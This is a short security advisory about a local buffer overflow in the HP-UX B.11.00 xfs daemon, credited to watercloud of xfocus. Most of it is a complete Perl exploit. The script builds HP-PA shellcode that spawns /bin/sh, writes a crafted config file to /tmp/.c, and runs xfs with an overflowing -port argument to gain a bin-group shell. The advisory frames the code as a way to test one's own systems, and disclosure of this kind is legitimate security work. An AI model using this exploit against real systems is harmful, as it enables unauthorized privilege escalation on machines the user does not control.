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HP-UX Xfs Daemon Port Buffer Overflow
------------------------------------------------------------------------
SUMMARY
HP-UX's xfs daemon has been found to contain a vulnerability that allows a
local attacker to cause a buffer overflow. A specially crafted buffer
supplied as the overflowing buffer allows the execution of arbitrary code
and the gaining of elevated privileges.
The following exploit code can be used to test your system for the
mentioned vulnerability.
DETAILS
Vulnerable Systems:
* HP-UX B.11.00
Exploit:
#!/usr/contrib/bin/perl
# Name : x_hpux_xfs.pl
# Exploit xfs command of HPUX to get bin gid shell.
# * Usage : perl ./x_hpux_xfs.pl
# Discovered by watercloud 2003-03-10
# http://www.xfocus.org (EN)
# http://www.xfocus.net (CN)
# Tested: HPUX B11.0
$BUFF="A";
$BUFF.="\x0b\x39\x02\x99"x58;
$BUFF.
="\x41\x41\x41\x41\x7f\x7f\x01\x16\x7f\
x7f\x01\x1c\x0b\x39\x02\x99";
$BUFF.
="\x0b\x39\x02\x57\x2a\xe4\x97\x10\x28\
x3b\x70\xef\x08\x37\x02\x43";
$BUFF.
="\xb6\xfa\x40\x04\xb6\xf9\x40\x04\xb6\
xf8\x40\x04\xe4\x60\xe0\x08";
$BUFF.
="\xb6\xf6\x40\xfe\x0b\x39\x02\x99\x2b\
x24\x97\x10\x28\x3b\x70\xef";
$BUFF.
="\xeb\x5f\x1f\xfd\x0b\x39\x02\x99\xb7\
x5a\x40\x22\x0f\x40\x12\x0e";
$BUFF.
="\x08\x39\x02\x43\xe4\x60\xe0\x08\xb4\
x16\x70\x16/bin/shA";
open(OUTFILE, ">/tmp/.c");
print OUTFILE "error-file=";
print OUTFILE "\x7f\x7f\x01\x10"x500;
close(OUTFILE);
exec("/usr/bin/X11/xfs -config /tmp/.c -port \'$BUFF\'");
#EOF
ADDITIONAL INFORMATION
The information has been provided by <mailto:watercloud@nsfocus.com>
watercloud.
The original article can be found at:
<http://xfocus.net/releases/200406/t725.html>
http://xfocus.net/releases/200406/t725.html
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